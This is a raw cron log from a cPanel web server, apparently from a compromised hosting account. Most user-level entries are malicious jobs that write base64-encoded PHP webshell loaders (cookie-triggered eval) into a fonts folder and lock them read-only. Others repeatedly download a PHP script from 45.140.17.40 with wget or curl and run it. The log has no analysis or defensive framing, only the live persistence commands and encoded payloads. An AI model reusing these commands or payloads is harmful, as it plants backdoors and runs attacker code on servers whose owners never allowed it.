Feb 22 14:29:01 ip-184-168-122-23 CROND[19900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:29:01 ip-184-168-122-23 CROND[19902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:30:01 ip-184-168-122-23 CROND[20219]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 14:30:01 ip-184-168-122-23 CROND[20224]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 14:30:01 ip-184-168-122-23 CROND[20226]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:30:01 ip-184-168-122-23 CROND[20227]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 14:30:01 ip-184-168-122-23 CROND[20230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:30:01 ip-184-168-122-23 CROND[20233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:30:01 ip-184-168-122-23 CROND[20234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:30:01 ip-184-168-122-23 CROND[20232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:31:01 ip-184-168-122-23 CROND[20557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:31:01 ip-184-168-122-23 CROND[20556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:31:01 ip-184-168-122-23 CROND[20558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:31:01 ip-184-168-122-23 CROND[20561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:31:01 ip-184-168-122-23 CROND[20560]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 14:32:01 ip-184-168-122-23 CROND[20896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:32:01 ip-184-168-122-23 CROND[20898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:32:01 ip-184-168-122-23 CROND[20900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:32:01 ip-184-168-122-23 CROND[20901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:32:01 ip-184-168-122-23 CROND[20903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:33:01 ip-184-168-122-23 CROND[21219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:33:01 ip-184-168-122-23 CROND[21221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:33:01 ip-184-168-122-23 CROND[21223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:33:01 ip-184-168-122-23 CROND[21225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:34:01 ip-184-168-122-23 CROND[21572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:34:01 ip-184-168-122-23 CROND[21574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:34:01 ip-184-168-122-23 CROND[21575]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:34:01 ip-184-168-122-23 CROND[21576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:34:01 ip-184-168-122-23 CROND[21577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:35:01 ip-184-168-122-23 CROND[21914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:35:01 ip-184-168-122-23 CROND[21913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:35:01 ip-184-168-122-23 CROND[21918]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 14:35:01 ip-184-168-122-23 CROND[21916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:35:01 ip-184-168-122-23 CROND[21917]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 14:35:01 ip-184-168-122-23 CROND[21920]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 14:35:01 ip-184-168-122-23 CROND[21921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:35:01 ip-184-168-122-23 CROND[21922]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 14:36:02 ip-184-168-122-23 CROND[22290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:36:02 ip-184-168-122-23 CROND[22291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:36:02 ip-184-168-122-23 CROND[22292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:36:02 ip-184-168-122-23 CROND[22293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:36:02 ip-184-168-122-23 CROND[22294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:37:01 ip-184-168-122-23 CROND[22702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:37:01 ip-184-168-122-23 CROND[22705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:37:01 ip-184-168-122-23 CROND[22708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:37:01 ip-184-168-122-23 CROND[22709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:38:01 ip-184-168-122-23 CROND[23024]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:38:01 ip-184-168-122-23 CROND[23025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:38:01 ip-184-168-122-23 CROND[23028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:38:01 ip-184-168-122-23 CROND[23027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:38:01 ip-184-168-122-23 CROND[23026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:39:01 ip-184-168-122-23 CROND[23375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:39:01 ip-184-168-122-23 CROND[23373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:39:01 ip-184-168-122-23 CROND[23374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:39:01 ip-184-168-122-23 CROND[23377]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 14:39:01 ip-184-168-122-23 CROND[23378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:40:01 ip-184-168-122-23 CROND[23714]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 14:40:01 ip-184-168-122-23 CROND[23712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:40:01 ip-184-168-122-23 CROND[23713]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:40:01 ip-184-168-122-23 CROND[23716]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 14:40:01 ip-184-168-122-23 CROND[23715]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 14:40:01 ip-184-168-122-23 CROND[23718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:40:01 ip-184-168-122-23 CROND[23719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:40:01 ip-184-168-122-23 CROND[23717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:41:01 ip-184-168-122-23 CROND[24015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:41:01 ip-184-168-122-23 CROND[24016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:41:01 ip-184-168-122-23 CROND[24018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
